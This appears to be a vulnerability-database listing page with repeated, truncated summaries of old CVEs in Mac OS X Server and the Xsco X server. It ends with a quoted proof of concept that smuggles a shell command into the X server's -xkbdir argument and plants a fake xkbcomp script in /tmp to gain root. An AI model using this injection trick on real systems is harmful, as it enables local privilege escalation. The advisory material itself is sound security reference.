CVE-2003-0601

Workgroup Manager in Apple Mac OS X Server 10.2 through 10.2.6 does not disable a password for a new account before it is saved for the first time, which allows remote attackers to gain unauthorized access via the new account before it is saved...

CVE-2003-0601

CVE-2003-0601 : The vulnerability affects Workgroup Manager in Apple Mac OS X Server 10.2–10.2.6, where a new account’s password is not properly disabled before the account is saved, allowing remote attackers to gain unauthorized access via the new account before it is saved. The available source...

CVE-2003-0601: Undefined Security Weakness

Workgroup Manager in Apple Mac OS X Server 10.2 through 10.2.6 does not disable a password for a new account before it is saved for the first time, which allows remote attackers to gain unauthorized access via the new account before it is saved...

CVE-2004-1082

moddigestapple for Apache 1.3.31 and 1.3.32 on Mac OS X Server does not properly verify the nonce of a client response, which allows remote attackers to replay credentials...

CVE-2003-0871

Unknown vulnerability in QuickTime Java in Mac OS X v10.3 and Mac OS X Server 10.3 allows attackers to gain "unauthorized access to a system."...

CVE-2003-0379

Unknown vulnerability in Apple File Service AFP Server for Mac OS X Server, when sharing files on a UFS or re-shared NFS volume, allows remote attackers to overwrite arbitrary files...

X servers may have insecure default configuration of xhosts

Overview Some X server products client software for connecting to a host with Xwindows capabilities may be configured insecurely by default. Description In X windows terminology, the X server is the software which provides "services" to the client, while the X client is the software that makes...

CVE-2003-0379

CVE-2003-0379 concerns Apple File Service (AFP Server) on Mac OS X Server. When sharing files on a UFS or re‑shared NFS volume, remote attackers could overwrite arbitrary files. The description and public records (NVD) indicate a remote, unauthenticated access vector with low attack complexity, r...

CVE-2003-0379

Unknown vulnerability in Apple File Service AFP Server for Mac OS X Server, when sharing files on a UFS or re-shared NFS volume, allows remote attackers to overwrite arbitrary files...

CVE-2003-0379: Undefined Security Weakness

Unknown vulnerability in Apple File Service AFP Server for Mac OS X Server, when sharing files on a UFS or re-shared NFS volume, allows remote attackers to overwrite arbitrary files...

CVE-2003-0420

Information leak in dsimportexport for Apple Macintosh OS X Server 10.2.6 allows local users to obtain the username and password of the account running the tool...

CVE-2002-0988

CVE-2002-0988 describes a buffer overflow in the X server (Xsco) of OpenUNIX 8.0.0 and UnixWare 7.1.1, possibly related to XBM/xkbcomp capabilities. The connected records reiterate the affected products and the vulnerability’s basic nature, but do not provide additional technical details, exploit...

CVE-2002-0987

The CVE-2002-0987 entry refers to X server (Xsco) in OpenUNIX 8.0.0 and UnixWare 7.1.1 that fail to drop privileges before invoking programs (e.g., xkbcomp) via popen. This behavior could allow local users to gain privileges. The described vulnerability is a local privilege escalation due to inad...

CVE-2002-0988

Buffer overflow in X server Xsco in OpenUNIX 8.0.0 and UnixWare 7.1.1, possibly related to XBM/xkbcomp capabilities...

CVE-2002-0987: Undefined Security Weakness

X server Xsco in OpenUNIX 8.0.0 and UnixWare 7.1.1 does not drop privileges before calling programs such as xkbcomp using popen, which could allow local users to gain privileges...

CVE-2002-0988: Undefined Security Weakness

Buffer overflow in X server Xsco in OpenUNIX 8.0.0 and UnixWare 7.1.1, possibly related to XBM/xkbcomp capabilities...

CVE-2002-1510

xdm, with the authComplain variable set to false, allows arbitrary attackers to connect to the X server if the xdm auth directory does not exist...

CVE-2002-0987

X server Xsco in OpenUNIX 8.0.0 and UnixWare 7.1.1 does not drop privileges before calling programs such as xkbcomp using popen, which could allow local users to gain privileges...

CVE-2002-0988

Buffer overflow in X server Xsco in OpenUNIX 8.0.0 and UnixWare 7.1.1, possibly related to XBM/xkbcomp capabilities...

calderax.txt

The following proof of concepts were provided by Pavel Kankovsky: $ Xserver -xkbdir 'id /tmp/IWASHERE;' exit X server $ grep root /tmp/IWASHERE && echo 'Gotcha!' $ cat /tmp/xkbcomp !/bin/sh id /tmp/IWASHERE ctrl+d $ chmod a+x /tmp/xkbcomp $ Xserver -xkbdir /tmp X server executes /tmp/xkbcomp...